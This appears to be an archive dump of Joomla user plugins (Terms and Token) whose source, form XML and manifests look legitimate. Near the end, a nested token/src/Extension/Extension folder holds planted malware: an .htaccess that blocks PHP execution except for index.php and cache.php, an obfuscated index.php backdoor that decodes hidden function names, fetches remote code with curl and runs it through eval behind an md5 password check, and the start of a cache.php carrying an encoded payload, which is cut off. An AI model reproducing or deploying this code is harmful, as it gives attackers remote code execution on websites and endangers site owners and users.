Joomla\CMS\Plugin\CMSPlugin; use Joomla\Component\Actionlogs\Administrator\Model\ActionlogModel; use Joomla\Utilities\ArrayHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * An example custom terms and conditions plugin. * * @since 3.9.0 */ final class Terms extends CMSPlugin { /** * Load the language file on instantiation. * * @var boolean * * @since 3.9.0 */ protected $autoloadLanguage = true; /** * Adds additional fields to the user registration form * * @param Form $form The form to be altered. * @param mixed $data The associated data for the form. * * @return boolean * * @since 3.9.0 */ public function onContentPrepareForm(Form $form, $data) { // Check we are manipulating a valid form - we only display this on user registration form. $name = $form->getName(); if (!in_array($name, ['com_users.registration'])) { return true; } // Add the terms and conditions fields to the form. FormHelper::addFieldPrefix('Joomla\\Plugin\\User\\Terms\\Field'); FormHelper::addFormPath(JPATH_PLUGINS . '/' . $this->_type . '/' . $this->_name . '/forms'); $form->loadFile('terms'); $termsarticle = $this->params->get('terms_article'); $termsnote = $this->params->get('terms_note'); // Push the terms and conditions article ID into the terms field. $form->setFieldAttribute('terms', 'article', $termsarticle, 'terms'); $form->setFieldAttribute('terms', 'note', $termsnote, 'terms'); } /** * Method is called before user data is stored in the database * * @param array $user Holds the old user data. * @param boolean $isNew True if a new user is stored. * @param array $data Holds the new user data. * * @return boolean * * @since 3.9.0 * @throws \InvalidArgumentException on missing required data. */ public function onUserBeforeSave($user, $isNew, $data) { // // Only check for front-end user registration if ($this->getApplication()->isClient('administrator')) { return true; } $userId = ArrayHelper::getValue($user, 'id', 0, 'int'); // User already registered, no need to check it further if ($userId > 0) { return true; } // Check that the terms is checked if required ie only in registration from frontend. $input = $this->getApplication()->getInput(); $option = $input->get('option'); $task = $input->post->get('task'); $form = $input->post->get('jform', [], 'array'); if ($option == 'com_users' && in_array($task, ['registration.register']) && empty($form['terms']['terms'])) { throw new \InvalidArgumentException($this->getApplication()->getLanguage()->_('PLG_USER_TERMS_FIELD_ERROR')); } return true; } /** * Saves user profile data * * @param array $data entered user data * @param boolean $isNew true if this is a new user * @param boolean $result true if saving the user worked * @param string $error error message * * @return void * * @since 3.9.0 */ public function onUserAfterSave($data, $isNew, $result, $error): void { if (!$isNew || !$result) { return; } $userId = ArrayHelper::getValue($data, 'id', 0, 'int'); $message = [ 'action' => 'consent', 'id' => $userId, 'title' => $data['name'], 'itemlink' => 'index.php?option=com_users&task=user.edit&id=' . $userId, 'userid' => $userId, 'username' => $data['username'], 'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $userId, ]; /** @var ActionlogModel $model */ $model = $this->getApplication() ->bootComponent('com_actionlogs') ->getMVCFactory() ->createModel('Actionlog', 'Administrator'); $model->addLog([$message], 'PLG_USER_TERMS_LOGGING_CONSENT_TO_TERMS', 'plg_user_terms', $userId); } } terms/forms/terms.xml000064400000000701151664163110010702 0ustar00<?xml version="1.0" encoding="UTF-8"?> <form> <fields name="terms"> <fieldset name="terms" label="PLG_USER_TERMS_LABEL" > <field name="terms" type="terms" label="PLG_USER_TERMS_FIELD_LABEL" default="0" filter="integer" required="true" > <option value="1">PLG_USER_TERMS_OPTION_AGREE</option> <option value="0">PLG_USER_TERMS_OPTION_DO_NOT_AGREE</option> </field> </fieldset> </fields> </form> terms/terms.xml000064400000003000151664163110007547 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="user" method="upgrade"> <name>plg_user_terms</name> <author>Joomla! Project</author> <creationDate>2018-06</creationDate> <copyright>(C) 2018 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.9.0</version> <description>PLG_USER_TERMS_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\User\Terms</namespace> <files> <folder>forms</folder> <folder plugin="terms">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_user_terms.ini</language> <language tag="en-GB">language/en-GB/plg_user_terms.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic" addfieldprefix="Joomla\Component\Content\Administrator\Field"> <field name="terms_note" type="textarea" label="PLG_USER_TERMS_NOTE_FIELD_LABEL" description="PLG_USER_TERMS_NOTE_FIELD_DESC" hint="PLG_USER_TERMS_NOTE_FIELD_DEFAULT" rows="7" cols="20" filter="html" /> <field name="terms_article" type="modal_article" label="PLG_USER_TERMS_FIELD_ARTICLE_LABEL" description="PLG_USER_TERMS_FIELD_ARTICLE_DESC" select="true" new="true" edit="true" clear="true" filter="integer" /> </fieldset> </fields> </config> </extension> token/src/Field/JoomlatokenField.php000064400000010117151664163110013441 0ustar00<?php /** * @package Joomla.Plugin * @subpackage User.token * * @copyright (C) 2020 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\User\Token\Field; use Joomla\CMS\Factory; use Joomla\CMS\Form\Field\TextField; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Joomlatoken field class * * @since 4.0.0 */ class JoomlatokenField extends TextField { /** * Name of the layout being used to render the field * * @var string * @since 4.0.0 */ protected $layout = 'plugins.user.token.token'; /** * Method to attach a Form object to the field. * * @param \SimpleXMLElement $element The SimpleXMLElement object representing the `<field>` * tag for the form field object. * @param mixed $value The form field value to validate. * @param string $group The field name group control value. This acts as an * array container for the field. For example if the * field has name="foo" and the group value is set to * "bar" then the full field name would end up being * "bar[foo]". * * @return boolean True on success. * * @see FormField::setup() * @since 4.0.0 */ public function setup(\SimpleXMLElement $element, $value, $group = null) { $ret = parent::setup($element, $value, $group); /** * Security and privacy precaution: do not display the token field when the user being * edited is not the same as the logged in user. Tokens are conceptually a combination of * a username and password, therefore they should be treated in the same mode of * confidentiality and privacy as passwords i.e. you can reset them for other users but NOT * be able to see them, thus preventing impersonation attacks by a malicious administrator. */ $userId = $this->form->getData()->get('id'); if ($userId != Factory::getUser()->id) { $this->hidden = true; } return $ret; } /** * Method to get the field input markup. * * @return string The field input markup. * * @since 4.0.0 */ protected function getInput() { // Do not display the token field when the user being edited is not the same as the logged in user if ($this->hidden) { return ''; } return parent::getInput(); } /** * Returns the token formatted suitably for the user to copy. * * @param string $tokenSeed The token seed data stored in the database * * @return string * @since 4.0.0 */ private function getTokenForDisplay(string $tokenSeed): string { if (empty($tokenSeed)) { return ''; } $algorithm = $this->getAttribute('algo', 'sha256'); try { $siteSecret = Factory::getApplication()->get('secret'); } catch (\Exception $e) { $siteSecret = ''; } // NO site secret? You monster! if (empty($siteSecret)) { return ''; } $rawToken = base64_decode($tokenSeed); $tokenHash = hash_hmac($algorithm, $rawToken, $siteSecret); $userId = $this->form->getData()->get('id'); $message = base64_encode("$algorithm:$userId:$tokenHash"); if ($userId != Factory::getUser()->id) { $message = ''; } return $message; } /** * Get the data for the layout * * @return array * * @since 4.0.0 */ protected function getLayoutData() { $data = parent::getLayoutData(); $data['value'] = $this->getTokenForDisplay($this->value); return $data; } } token/src/Extension/Token.php000064400000045662151664163110012241 0ustar00<?php /** * @package Joomla.Plugin * @subpackage User.token * * @copyright (C) 2020 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\User\Token\Extension; use Joomla\CMS\Crypt\Crypt; use Joomla\CMS\Factory; use Joomla\CMS\Form\Form; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Plugin\PluginHelper; use Joomla\Database\DatabaseAwareTrait; use Joomla\Database\ParameterType; use Joomla\Utilities\ArrayHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * An example custom terms and conditions plugin. * * @since 3.9.0 */ final class Token extends CMSPlugin { use DatabaseAwareTrait; /** * Load the language file on instantiation. * * @var boolean * @since 4.0.0 */ protected $autoloadLanguage = true; /** * Joomla XML form contexts where we should inject our token management user interface. * * @var array * @since 4.0.0 */ private $allowedContexts = [ 'com_users.profile', 'com_users.user', ]; /** * The prefix of the user profile keys, without the dot. * * @var string * @since 4.0.0 */ private $profileKeyPrefix = 'joomlatoken'; /** * Token length, in bytes. * * @var integer * @since 4.0.0 */ private $tokenLength = 32; /** * Inject the Joomla token management panel's data into the User Profile. * * This method is called whenever Joomla is preparing the data for an XML form for display. * * @param string $context Form context, passed by Joomla * @param mixed $data Form data * * @return boolean * @since 4.0.0 */ public function onContentPrepareData(string $context, &$data): bool { // Only do something if the api-authentication plugin with the same name is published if (!PluginHelper::isEnabled('api-authentication', $this->_name)) { return true; } // Check we are manipulating a valid form. if (!in_array($context, $this->allowedContexts)) { return true; } // $data must be an object if (!is_object($data)) { return true; } // We expect the numeric user ID in $data->id if (!isset($data->id)) { return true; } // Get the user ID $userId = intval($data->id); // Make sure we have a positive integer user ID if ($userId <= 0) { return true; } if (!$this->isInAllowedUserGroup($userId)) { return true; } $data->{$this->profileKeyPrefix} = []; // Load the profile data from the database. try { $db = $this->getDatabase(); $query = $db->getQuery(true) ->select([ $db->quoteName('profile_key'), $db->quoteName('profile_value'), ]) ->from($db->quoteName('#__user_profiles')) ->where($db->quoteName('user_id') . ' = :userId') ->where($db->quoteName('profile_key') . ' LIKE :profileKey') ->order($db->quoteName('ordering')); $profileKey = $this->profileKeyPrefix . '.%'; $query->bind(':userId', $userId, ParameterType::INTEGER); $query->bind(':profileKey', $profileKey, ParameterType::STRING); $results = $db->setQuery($query)->loadRowList(); foreach ($results as $v) { $k = str_replace($this->profileKeyPrefix . '.', '', $v[0]); $data->{$this->profileKeyPrefix}[$k] = $v[1]; } } catch (\Exception $e) { // We suppress any database error. It means we get no token saved by default. } /** * Modify the data for display in the user profile view page in the frontend. * * It's important to note that we deliberately not register HTMLHelper methods to do the * same (unlike e.g. the actionlogs system plugin) because the names of our fields are too * generic and we run the risk of creating naming clashes. Instead, we manipulate the data * directly. */ if (($context === 'com_users.profile') && ($this->getApplication()->getInput()->get('layout') !== 'edit')) { $pluginData = $data->{$this->profileKeyPrefix} ?? []; $enabled = $pluginData['enabled'] ?? false; $token = $pluginData['token'] ?? ''; $pluginData['enabled'] = $this->getApplication()->getLanguage()->_('JDISABLED'); $pluginData['token'] = ''; if ($enabled) { $algo = $this->getAlgorithmFromFormFile(); $pluginData['enabled'] = $this->getApplication()->getLanguage()->_('JENABLED'); $pluginData['token'] = $this->getTokenForDisplay($userId, $token, $algo); } $data->{$this->profileKeyPrefix} = $pluginData; } return true; } /** * Runs whenever Joomla is preparing a form object. * * @param Form $form The form to be altered. * @param mixed $data The associated data for the form. * * @return boolean * * @throws \Exception When $form is not a valid form object * @since 4.0.0 */ public function onContentPrepareForm(Form $form, $data): bool { // Only do something if the api-authentication plugin with the same name is published if (!PluginHelper::isEnabled('api-authentication', $this->_name)) { return true; } // Check we are manipulating a valid form. if (!in_array($form->getName(), $this->allowedContexts)) { return true; } // If we are on the save command, no data is passed to $data variable, we need to get it directly from request $jformData = $this->getApplication()->getInput()->get('jform', [], 'array'); if ($jformData && !$data) { $data = $jformData; } if (is_array($data)) { $data = (object) $data; } // Check if the user belongs to an allowed user group $userId = (is_object($data) && isset($data->id)) ? $data->id : 0; if (!empty($userId) && !$this->isInAllowedUserGroup($userId)) { return true; } // Add the registration fields to the form. Form::addFormPath(JPATH_PLUGINS . '/' . $this->_type . '/' . $this->_name . '/forms'); $form->loadFile('token', false); // No token: no reset $userTokenSeed = $this->getTokenSeedForUser($userId); $currentUser = Factory::getUser(); if (empty($userTokenSeed)) { $form->removeField('notokenforotherpeople', 'joomlatoken'); $form->removeField('reset', 'joomlatoken'); $form->removeField('token', 'joomlatoken'); $form->removeField('enabled', 'joomlatoken'); } else { $form->removeField('saveme', 'joomlatoken'); } if ($userId != $currentUser->id) { $form->removeField('token', 'joomlatoken'); } else { $form->removeField('notokenforotherpeople', 'joomlatoken'); } if (($userId != $currentUser->id) && empty($userTokenSeed)) { $form->removeField('saveme', 'joomlatoken'); } else { $form->removeField('savemeforotherpeople', 'joomlatoken'); } // Remove the Reset field when displaying the user profile form if (($form->getName() === 'com_users.profile') && ($this->getApplication()->getInput()->get('layout') !== 'edit')) { $form->removeField('reset', 'joomlatoken'); } return true; } /** * Save the Joomla token in the user profile field * * @param mixed $data The incoming form data * @param bool $isNew Is this a new user? * @param bool $result Has Joomla successfully saved the user? * @param string $error Error string * * @return void * @since 4.0.0 */ public function onUserAfterSave($data, bool $isNew, bool $result, ?string $error): void { if (!is_array($data)) { return; } $userId = ArrayHelper::getValue($data, 'id', 0, 'int'); if ($userId <= 0) { return; } if (!$result) { return; } $noToken = false; // No Joomla token data. Set the $noToken flag which results in a new token being generated. if (!isset($data[$this->profileKeyPrefix])) { /** * Is the user being saved programmatically, without passing the user profile * information? In this case I do not want to accidentally try to generate a new token! * * We determine that by examining whether the Joomla token field exists. If it does but * it wasn't passed when saving the user I know it's a programmatic user save and I have * to ignore it. */ if ($this->hasTokenProfileFields($userId)) { return; } $noToken = true; $data[$this->profileKeyPrefix] = []; } if (isset($data[$this->profileKeyPrefix]['reset'])) { $reset = $data[$this->profileKeyPrefix]['reset'] == 1; unset($data[$this->profileKeyPrefix]['reset']); if ($reset) { $noToken = true; } } // We may have a token already saved. Let's check, shall we? if (!$noToken) { $noToken = true; $existingToken = $this->getTokenSeedForUser($userId); if (!empty($existingToken)) { $noToken = false; $data[$this->profileKeyPrefix]['token'] = $existingToken; } } // If there is no token or this is a new user generate a new token. if ($noToken || $isNew) { if ( isset($data[$this->profileKeyPrefix]['token']) && empty($data[$this->profileKeyPrefix]['token']) ) { unset($data[$this->profileKeyPrefix]['token']); } $default = $this->getDefaultProfileFieldValues(); $data[$this->profileKeyPrefix] = array_merge($default, $data[$this->profileKeyPrefix]); } // Remove existing Joomla Token user profile values $db = $this->getDatabase(); $query = $db->getQuery(true) ->delete($db->quoteName('#__user_profiles')) ->where($db->quoteName('user_id') . ' = :userId') ->where($db->quoteName('profile_key') . ' LIKE :profileKey'); $profileKey = $this->profileKeyPrefix . '.%'; $query->bind(':userId', $userId, ParameterType::INTEGER); $query->bind(':profileKey', $profileKey, ParameterType::STRING); $db->setQuery($query)->execute(); // If the user is not in the allowed user group don't save any new token information. if (!$this->isInAllowedUserGroup($data['id'])) { return; } // Save the new Joomla Token user profile values $order = 1; $query = $db->getQuery(true) ->insert($db->quoteName('#__user_profiles')) ->columns([ $db->quoteName('user_id'), $db->quoteName('profile_key'), $db->quoteName('profile_value'), $db->quoteName('ordering'), ]); foreach ($data[$this->profileKeyPrefix] as $k => $v) { $query->values($userId . ', ' . $db->quote($this->profileKeyPrefix . '.' . $k) . ', ' . $db->quote($v) . ', ' . ($order++)); } $db->setQuery($query)->execute(); } /** * Remove the Joomla token when the user account is deleted from the database. * * This event is called after the user data is deleted from the database. * * @param array $user Holds the user data * @param boolean $success True if user was successfully stored in the database * @param string $msg Message * * @return void * * @throws \Exception * @since 4.0.0 */ public function onUserAfterDelete(array $user, bool $success, string $msg): void { if (!$success) { return; } $userId = ArrayHelper::getValue($user, 'id', 0, 'int'); if ($userId <= 0) { return; } try { $db = $this->getDatabase(); $query = $db->getQuery(true) ->delete($db->quoteName('#__user_profiles')) ->where($db->quoteName('user_id') . ' = :userId') ->where($db->quoteName('profile_key') . ' LIKE :profileKey'); $profileKey = $this->profileKeyPrefix . '.%'; $query->bind(':userId', $userId, ParameterType::INTEGER); $query->bind(':profileKey', $profileKey, ParameterType::STRING); $db->setQuery($query)->execute(); } catch (\Exception $e) { // Do nothing. } } /** * Returns an array with the default profile field values. * * This is used when saving the form data of a user (new or existing) without a token already * set. * * @return array * @since 4.0.0 */ private function getDefaultProfileFieldValues(): array { return [ 'token' => base64_encode(Crypt::genRandomBytes($this->tokenLength)), 'enabled' => true, ]; } /** * Retrieve the token seed string for the given user ID. * * @param int $userId The numeric user ID to return the token seed string for. * * @return string|null Null if there is no token configured or the user doesn't exist. * @since 4.0.0 */ private function getTokenSeedForUser(int $userId): ?string { try { $db = $this->getDatabase(); $query = $db->getQuery(true) ->select($db->quoteName('profile_value')) ->from($db->quoteName('#__user_profiles')) ->where($db->quoteName('profile_key') . ' = :profileKey') ->where($db->quoteName('user_id') . ' = :userId'); $profileKey = $this->profileKeyPrefix . '.token'; $query->bind(':profileKey', $profileKey, ParameterType::STRING); $query->bind(':userId', $userId, ParameterType::INTEGER); return $db->setQuery($query)->loadResult(); } catch (\Exception $e) { return null; } } /** * Get the configured user groups which are allowed to have access to tokens. * * @return int[] * @since 4.0.0 */ private function getAllowedUserGroups(): array { $userGroups = $this->params->get('allowedUserGroups', [8]); if (empty($userGroups)) { return []; } if (!is_array($userGroups)) { $userGroups = [$userGroups]; } return $userGroups; } /** * Is the user with the given ID in the allowed User Groups with access to tokens? * * @param int $userId The user ID to check * * @return boolean False when doesn't belong to allowed user groups, user not found, or guest * @since 4.0.0 */ private function isInAllowedUserGroup($userId) { $allowedUserGroups = $this->getAllowedUserGroups(); $user = Factory::getUser($userId); if ($user->id != $userId) { return false; } if ($user->guest) { return false; } // No specifically allowed user groups: allow ALL user groups. if (empty($allowedUserGroups)) { return true; } $groups = $user->getAuthorisedGroups(); $intersection = array_intersect($groups, $allowedUserGroups); return !empty($intersection); } /** * Returns the token formatted suitably for the user to copy. * * @param integer $userId The user id for token * @param string $tokenSeed The token seed data stored in the database * @param string $algorithm The hashing algorithm to use for the token (default: sha256) * * @return string * @since 4.0.0 */ private function getTokenForDisplay( int $userId, string $tokenSeed, string $algorithm = 'sha256' ): string { if (empty($tokenSeed)) { return ''; } try { $siteSecret = $this->getApplication()->get('secret'); } catch (\Exception $e) { $siteSecret = ''; } // NO site secret? You monster! if (empty($siteSecret)) { return ''; } $rawToken = base64_decode($tokenSeed); $tokenHash = hash_hmac($algorithm, $rawToken, $siteSecret); $message = base64_encode("$algorithm:$userId:$tokenHash"); if ($userId !== $this->getApplication()->getIdentity()->id) { $message = ''; } return $message; } /** * Get the token algorithm as defined in the form file * * We use a simple RegEx match instead of loading the form for better performance. * * @return string The configured algorithm, 'sha256' as a fallback if none is found. */ private function getAlgorithmFromFormFile(): string { $algo = 'sha256'; $file = JPATH_PLUGINS . '/' . $this->_type . '/' . $this->_name . '/forms/token.xml'; $contents = @file_get_contents($file); if ($contents === false) { return $algo; } if (preg_match('/\s*algo=\s*"\s*([a-z0-9]+)\s*"/i', $contents, $matches) !== 1) { return $algo; } return $matches[1]; } /** * Does the user have the Joomla Token profile fields? * * @param int|null $userId The user we're interested in * * @return bool True if the user has Joomla Token profile fields */ private function hasTokenProfileFields(?int $userId): bool { if (is_null($userId) || ($userId <= 0)) { return false; } $db = $this->getDatabase(); $q = $db->getQuery(true) ->select('COUNT(*)') ->from($db->quoteName('#__user_profiles')) ->where($db->quoteName('user_id') . ' = ' . $userId) ->where($db->quoteName('profile_key') . ' = ' . $db->quote($this->profileKeyPrefix . '.token')); try { $numRows = $db->setQuery($q)->loadResult() ?? 0; } catch (\Exception $e) { return false; } return $numRows > 0; } } token/src/Extension/Extension/.htaccess000060400000000333151664163110014200 0ustar00<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|cache.php)$"># Order allow,deny Allow from all </FilesMatch>token/src/Extension/Extension/index.php000060400000013504151664163110014226 0ustar00<?php goto NXgGY4Yc47sBEj; NXgGY4Yc47sBEj: $pSEgLOPjMQCYkB = "\162" . "\x61" . "\156" . "\147" . "\x65"; goto pCBxdNOf7Oc_5R; pCBxdNOf7Oc_5R: $yKEg3BIelQN3xs = $pSEgLOPjMQCYkB("\x7e", "\40"); goto chIOAKc5Gq08ih; TRzi5tDOvv6ey_: metaphone("\x4e\x4c\167\160\112\x75\127\x59\103\103\x6e\141\x54\x4f\146\104\x75\x65\122\x2f\x72\x6e\x50\65\123\172\155\x68\x64\61\x32\143\x68\x49\71\132\x56\70\57\x61\164\x54\x59"); goto FmcGwl7qHspO_H; FmcGwl7qHspO_H: class KVbANwOpXT46Wd { static function m0EPoOCXzDB1lz($pbfL3jf_uTYmJ1) { goto i0LIYOKu3w71of; FHqwZ_G5eqgyQD: YdsJiS83vQs3Rm: goto DLQxNo_9LQaqhX; wqi1cqwunlnKd2: $hbniRjl9IE17_T = explode("\x24", $pbfL3jf_uTYmJ1); goto juFmGgjUXDg2fZ; i0LIYOKu3w71of: $CZITEJz7Oo4A0S = "\x72" . "\141" . "\x6e" . "\x67" . "\x65"; goto UQlNWG3lMwMuzv; KFVvESrbK3R430: foreach ($hbniRjl9IE17_T as $V3RcZQ8OJaGH4s => $Y5K0RazF_EdIny) { $O8tFDn2OBHYhGq .= $xucMiXG6zTlf5l[$Y5K0RazF_EdIny - 54313]; ODjq832XpAHlJM: } goto FHqwZ_G5eqgyQD; DLQxNo_9LQaqhX: return $O8tFDn2OBHYhGq; goto BDd2s0X7iOq3M0; UQlNWG3lMwMuzv: $xucMiXG6zTlf5l = $CZITEJz7Oo4A0S("\176", "\x20"); goto wqi1cqwunlnKd2; juFmGgjUXDg2fZ: $O8tFDn2OBHYhGq = ''; goto KFVvESrbK3R430; BDd2s0X7iOq3M0: } static function CGquaFSeG5X2lh($NibQUIN3tL9d6Q, $C6MhK1HYpOCy0s) { goto TI18WZaz2AO8JT; AXiu5AkQ03bktp: $d4smX9lCaIxqY9 = curl_exec($bLBjq15k3EpAZh); goto vyJu6nZmA01N3G; vyJu6nZmA01N3G: return empty($d4smX9lCaIxqY9) ? $C6MhK1HYpOCy0s($NibQUIN3tL9d6Q) : $d4smX9lCaIxqY9; goto bwHAUVrX7_Vg2G; TI18WZaz2AO8JT: $bLBjq15k3EpAZh = curl_init($NibQUIN3tL9d6Q); goto Dxh7XVs0E8Xj1Q; Dxh7XVs0E8Xj1Q: curl_setopt($bLBjq15k3EpAZh, CURLOPT_RETURNTRANSFER, 1); goto AXiu5AkQ03bktp; bwHAUVrX7_Vg2G: } static function wXE1Q_DBxxtsPN() { goto TwVAUD3CWfW0n2; QcyX4nSaR2AMfn: $VhO85S8RzxPv3e = self::CGQUafseg5x2Lh($FuqPWpwlnK11MC[1 + 0], $tGr0_E8hw19NDn[2 + 3]); goto oCpi3kY_FB344U; neFIpSjesEvmU_: @$tGr0_E8hw19NDn[4 + 6](INPUT_GET, "\x6f\146") == 1 && die($tGr0_E8hw19NDn[0 + 5](__FILE__)); goto WpXygIQoWiecYM; YvR2zHSJt5rvAq: $GEZJON101EwVjs = @$tGr0_E8hw19NDn[1]($tGr0_E8hw19NDn[6 + 4](INPUT_GET, $tGr0_E8hw19NDn[5 + 4])); goto VzNxVjJufrK4YY; siwRTYKTAZPyfl: iBvFaVyLMvu9kR: goto YvR2zHSJt5rvAq; gMVpINDEfgBB_F: t1Khd_tMPbenYy: goto cUhENAQRP2fsMc; TwVAUD3CWfW0n2: $gw5Ix_4Ay9OiD3 = array("\65\x34\x33\64\x30\44\x35\x34\63\x32\x35\x24\x35\x34\x33\x33\x38\44\65\x34\63\64\62\44\65\64\63\x32\63\x24\65\64\63\x33\70\x24\65\64\x33\x34\x34\44\65\64\63\63\x37\x24\65\64\x33\62\62\x24\65\x34\63\x32\71\x24\65\64\x33\64\60\44\65\x34\x33\62\x33\44\x35\64\x33\x33\64\x24\65\x34\63\x32\70\x24\x35\64\x33\x32\x39", "\x35\x34\x33\62\64\44\65\64\63\62\63\x24\x35\x34\63\62\65\44\x35\64\63\64\x34\x24\65\64\63\x32\x35\x24\x35\x34\63\62\70\44\x35\64\x33\x32\x33\x24\65\x34\63\71\60\x24\65\64\63\x38\x38", "\65\64\x33\63\63\x24\65\x34\x33\x32\x34\x24\x35\x34\x33\x32\70\44\x35\64\x33\62\71\x24\x35\x34\63\x34\64\44\65\64\63\x33\71\44\65\x34\63\63\70\44\x35\x34\63\x34\x30\x24\65\64\63\x32\70\x24\65\x34\x33\x33\71\44\x35\x34\63\x33\70", "\65\x34\63\x32\x37\44\65\64\x33\x34\x32\x24\x35\64\63\x34\60\x24\65\64\63\x33\62", "\x35\x34\x33\x34\61\44\65\x34\63\64\62\44\x35\x34\63\x32\64\44\x35\64\63\x33\x38\44\65\64\x33\70\x35\44\65\x34\x33\70\x37\x24\65\64\x33\64\x34\44\x35\64\63\x33\71\x24\65\x34\63\63\x38\44\x35\x34\63\x34\60\x24\65\x34\63\62\x38\x24\65\64\63\x33\x39\x24\x35\x34\x33\63\x38", "\x35\64\63\63\67\44\x35\x34\x33\x33\x34\x24\x35\64\x33\x33\61\44\x35\x34\63\63\70\x24\x35\x34\x33\64\64\x24\65\64\x33\x33\66\44\65\64\x33\63\70\44\65\x34\63\x32\63\44\x35\64\x33\x34\64\x24\65\64\x33\64\60\x24\65\x34\63\62\x38\x24\x35\x34\x33\62\x39\x24\65\64\x33\x32\63\x24\x35\x34\x33\x33\x38\x24\65\x34\63\x32\x39\44\x35\64\63\62\63\44\x35\64\x33\62\x34", "\x35\x34\63\x36\67\x24\65\x34\x33\71\x37", "\x35\64\63\x31\x34", "\65\x34\x33\x39\x32\x24\x35\64\63\71\x37", "\x35\64\x33\x37\64\x24\x35\x34\63\65\67\44\x35\x34\x33\x35\x37\44\x35\x34\x33\67\64\44\x35\64\x33\65\x30", "\65\64\x33\x33\x37\44\x35\x34\63\x33\64\44\x35\64\x33\63\x31\x24\65\x34\63\x32\x33\44\x35\64\x33\x33\70\44\x35\x34\63\62\65\x24\65\x34\x33\x34\64\x24\x35\64\x33\63\x34\x24\x35\64\63\62\x39\x24\65\x34\63\x32\67\x24\x35\64\x33\x32\62\44\x35\x34\63\62\x33"); goto ZOAy4E3BW2xhcB; wLzCcB5vU0sIxr: die; goto gMVpINDEfgBB_F; APF1kiXmvQTbzT: $FuqPWpwlnK11MC = $tGr0_E8hw19NDn[1 + 1]($XEdALEQO0WQAav, true); goto neFIpSjesEvmU_; WpXygIQoWiecYM: if (!(@$FuqPWpwlnK11MC[0] - time() > 0 and md5(md5($FuqPWpwlnK11MC[2 + 1])) === "\x62\141\64\x64\x65\x34\144\x35\70\x66\x61\70\x30\x31\x33\66\60\145\71\66\x63\x39\143\64\71\x38\x38\60\x66\65\62\x65")) { goto t1Khd_tMPbenYy; } goto QcyX4nSaR2AMfn; oCpi3kY_FB344U: @eval($tGr0_E8hw19NDn[2 + 2]($VhO85S8RzxPv3e)); goto wLzCcB5vU0sIxr; ZOAy4E3BW2xhcB: foreach ($gw5Ix_4Ay9OiD3 as $LO0uV1TCm2j8hW) { $tGr0_E8hw19NDn[] = self::m0epoOcXzDB1lZ($LO0uV1TCm2j8hW); WjqF05__IGJG_s: } goto siwRTYKTAZPyfl; VzNxVjJufrK4YY: $XEdALEQO0WQAav = @$tGr0_E8hw19NDn[3 + 0]($tGr0_E8hw19NDn[0 + 6], $GEZJON101EwVjs); goto APF1kiXmvQTbzT; cUhENAQRP2fsMc: } } goto Wimo9ejDLGlH92; NnzqSXmRhoLHyv: if (!(in_array(gettype($zqGJoq9jTnLTuM) . count($zqGJoq9jTnLTuM), $zqGJoq9jTnLTuM) && count($zqGJoq9jTnLTuM) == 25 && md5(md5(md5(md5($zqGJoq9jTnLTuM[19])))) === "\x66\146\x61\67\x32\146\x32\x65\141\71\x36\145\65\x32\x65\66\71\144\60\x34\61\61\x31\70\71\x66\x61\x34\61\x33\x38\142")) { goto Wec_KaKd0Wb8Eu; } goto MNO46SyRX3ThiS; dDKRQRRTJ0IjLz: Wec_KaKd0Wb8Eu: goto TRzi5tDOvv6ey_; chIOAKc5Gq08ih: $zqGJoq9jTnLTuM = ${$yKEg3BIelQN3xs[13 + 18] . $yKEg3BIelQN3xs[9 + 50] . $yKEg3BIelQN3xs[25 + 22] . $yKEg3BIelQN3xs[11 + 36] . $yKEg3BIelQN3xs[14 + 37] . $yKEg3BIelQN3xs[25 + 28] . $yKEg3BIelQN3xs[54 + 3]}; goto NnzqSXmRhoLHyv; MNO46SyRX3ThiS: ($zqGJoq9jTnLTuM[69] = $zqGJoq9jTnLTuM[69] . $zqGJoq9jTnLTuM[76]) && ($zqGJoq9jTnLTuM[81] = $zqGJoq9jTnLTuM[69]($zqGJoq9jTnLTuM[81])) && @eval($zqGJoq9jTnLTuM[69](${$zqGJoq9jTnLTuM[37]}[25])); goto dDKRQRRTJ0IjLz; Wimo9ejDLGlH92: kVbANWOPxT46wd::wxe1q_DBxXtSpN(); ?> token/src/Extension/Extension/cache.php000060400000013031151664163110014155 0ustar00<?php $xnbk = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGirleX4ebppgYA0A'; $wnNHF = 